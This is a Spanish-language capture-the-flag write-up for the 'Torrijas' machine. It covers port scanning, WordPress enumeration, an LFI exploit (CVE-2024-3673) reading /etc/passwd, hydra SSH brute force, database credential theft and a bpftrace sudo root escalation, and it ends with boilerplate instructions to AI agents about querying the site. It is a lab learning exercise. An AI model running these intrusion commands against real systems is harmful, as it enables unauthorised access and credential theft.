# Torrijas

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.66
```

para verificar la conectividad de red.

<figure><img src="/files/qpLxAGnVDqitwCIenuTQ" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.66 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/m0sQ2sfhPTCHdWgFdWYD" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH y** el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80,3306 -v 192.168.1.66
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/7RKOSrsq0BJmS8cI0tff" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80.

<figure><img src="/files/uv2QEyQYsiy9Jmw5jy4n" alt=""><figcaption></figcaption></figure>

Ponemos el dominio **torrija.thl** en `/etc/hosts`. Tras esto realizamos un escaneo de directorios.

```
gobuster dir -u http://192.168.1.66 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,txt,php
```

<figure><img src="/files/f0GXh4ZZJFBg48FBKoQh" alt=""><figcaption></figcaption></figure>

Nos llama la atención que hay un **wordpress** por lo que indagamos más en ese directorio.

<figure><img src="/files/JLAYOmH0Tlcy5PKKwLgi" alt=""><figcaption></figcaption></figure>

Enumeramos los usuarios y los plugins con **WPScan**.

```
wpscan --url http://192.168.1.66/wordpress/ --enumerate u,vp
```

<figure><img src="/files/W7pIqF1HUlKWJuJN5Nyb" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Encontramos un usuario pero al realizar fuerza bruta no encuentra la contraseña. Entonces realizo un enumeración de plugins de manera agresiva.

```bash
wpscan --url http://192.168.1.66/wordpress --enumerate ap --force --plugins-detection mixed
```

<figure><img src="/files/RYR0UppKVkvmBWzuTbqw" alt=""><figcaption></figcaption></figure>

Buscando los dos por Internet nos llama la atención el segundo ya que se puede realizar un **LFI**.

{% embed url="<https://notcve.org/view.php?id=CVE-2024-3673>" %}

{% @github-files/github-code-block url="<https://github.com/Nxploited/CVE-2024-3673>" %}

```
python3 CVE-2024-3673.py --url http://192.168.1.66/wordpress --file ../../../../../etc/passwd
```

<figure><img src="/files/5bEE3gI6eJC5GqwzGdQY" alt=""><figcaption></figcaption></figure>

Encontramos dos usuarios llamados **Primo** y **Premo** pero solo encontramos a través de fuerza bruta la contraseña de **Premo**.

```
hydra -l premo -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.66 -t 64
```

<figure><img src="/files/JNlsgSUSj2W65Qped6kp" alt=""><figcaption></figcaption></figure>

Nos conectamos con esas credenciales a través de SSH.

```bash
ssh premo@192.168.1.66
```

<figure><img src="/files/TCyNR6T8z05sYNjk96dv" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos SUDO.&#x20;

En este caso, al estar trabajando con una instalación de **WordPress** y con el puerto **3306** (MySQL) expuesto, el siguiente paso será intentar obtener las credenciales de la base de datos. Un archivo crucial en WordPress que suele contener esta información es el `wp-config.php`.

<figure><img src="/files/RgBrR2VobkPOnEQCVBjv" alt=""><figcaption></figcaption></figure>

Nos conectamos a la base de datos.

```
mysql -u admin -p
```

<figure><img src="/files/ByrEfXPku3ogupIkf5zx" alt=""><figcaption></figcaption></figure>

Indagamos que tenemos en la base de datos.

```
show databases;
use wordpress;
show tables;
select * from wp_users;
```

<figure><img src="/files/ud7UwQdbPEXNLrjVrJjK" alt=""><figcaption></figcaption></figure>

Al ser la contraseña hasheada no nos sirve ya que estamos dentro pero probamos si podemos entrar en la base de datos de **root**.

```
mysql -u admin -p
show databases;
use Torrijas;
show tables;
select * from primo;
```

<figure><img src="/files/CAF8mQEpg2s0lfon8FxY" alt=""><figcaption></figcaption></figure>

Nos logueamos con las credenciales.

<figure><img src="/files/a6Gyaq6cUZepOsmpv3xU" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/bpftrace/>" %}

```
sudo bpftrace -c /bin/sh -e 'END {exit()}'
```

<figure><img src="/files/9DyT8knWdDrfguYlU6Zy" alt=""><figcaption></figcaption></figure>

Ya somos **root**.&#x20;

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/torrijas.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
